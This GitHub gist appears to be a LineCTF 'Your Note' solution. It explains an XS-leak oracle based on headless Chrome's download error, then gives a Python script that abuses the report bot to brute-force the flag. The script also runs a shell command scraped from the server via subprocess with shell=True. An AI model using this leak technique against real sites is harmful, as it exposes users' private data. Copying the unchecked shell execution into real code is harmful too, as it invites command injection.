Skip to content

Instantly share code, notes, and snippets.

@msrkp
Last active July 30, 2023 15:20
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save msrkp/0c18ba2d79a88b64982e51fe36464013 to your computer and use it in GitHub Desktop.
Save msrkp/0c18ba2d79a88b64982e51fe36464013 to your computer and use it in GitHub Desktop.
LineCTF - Your Note script to perform XS-leaks to read the flag.

XS-leaks while download in headless-chrome.

TL;DR

There is a feature to search the note and a download option, so visiting the following page http://34.84.72.167/search?q=LINECTF{&download downloads a json file if the param value of q exists in notes.

Download doesn't work in headless chrome, so it throws an error.

oracle

  page.goto(url).then(() => {
            res.header('Access-Control-Allow-Origin', '*');
            res.send({msg: 'Thank you for the report!'}); -> If the searched query doesn't exist
        }).catch((err) => {
            res.header('Access-Control-Allow-Origin', '*'); 
            res.send({msg: 'ng'}); -> If the query exists in notes
        });

If the q exists in the notes, server sends ng (because headless chrome can't handle download)

import requests
from bs4 import BeautifulSoup
import subprocess
import urllib.parse
from threading import Thread
string = 'abcdefghijklmnopqrstuvwxyz0123456789-'
flag = 'LINECTF{'
url = "http://34.84.72.167/"
url = 'http://34.84.94.138/'
url = 'http://35.200.11.35/'
# url = 'http://localhost/'
def login():
    s= requests.Session();
    resp = s.get(url + 'login');
    soup = BeautifulSoup(resp.text, 'lxml')
    csrf_token = soup.select_one('input[name="csrf_token"]')['value']

    resp = s.post(url+'login',data='csrf_token='+csrf_token+'&username=msrk&password=msrk',headers={'Content-Type':'application/x-www-form-urlencoded'})
    print()
    return s
class Brute(Thread):
    def __init__(self, thread_id,login):
        Thread.__init__(self)
        self.id = thread_id
        self.login = login
        self.running=True
    
    def terminate(self):
        self.running=False

    def oracle(self, s, flag):
        # s = login()
        resp = s.get(url + 'report')   
        soup = BeautifulSoup(resp.text, 'lxml')
        try:
            pow = soup.findAll('br')[1].nextSibling
        except:
            print(resp.text)
        csrf_token = soup.select_one('input[name="csrf_token"]')['value']
        proof = subprocess.check_output(pow , shell=True)
        data = 'csrf_token='+csrf_token+'&url='+   urllib.parse.quote_plus(url+'search?q='+flag+'&download') +'&proof='+proof.decode('utf-8')
        # print(data)
        resp = s.post(url + 'report',data=data,headers={'Content-Type':'application/x-www-form-urlencoded'})
        # print(resp.text)
        if(resp.text.find('Thank you for the report!') != -1 ):
            return 1
            print('nope', flag)
        else:
            print(flag,resp.status_code)
            self.running = False
            return 0
    def run(self):
        print('thread started: '+str(self.id))
        while QUEUE:
            if(self.running==False):
                self.terminate()
            brute = QUEUE.pop(0);
            self.oracle( self.login, brute)
s = login()
QUEUE = []
for i in string:
    tmp = "LINECTF{"+i
    QUEUE.append(tmp)

reqs = [Brute(x+1,s) for x in range(1)]
for x in reqs: x.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment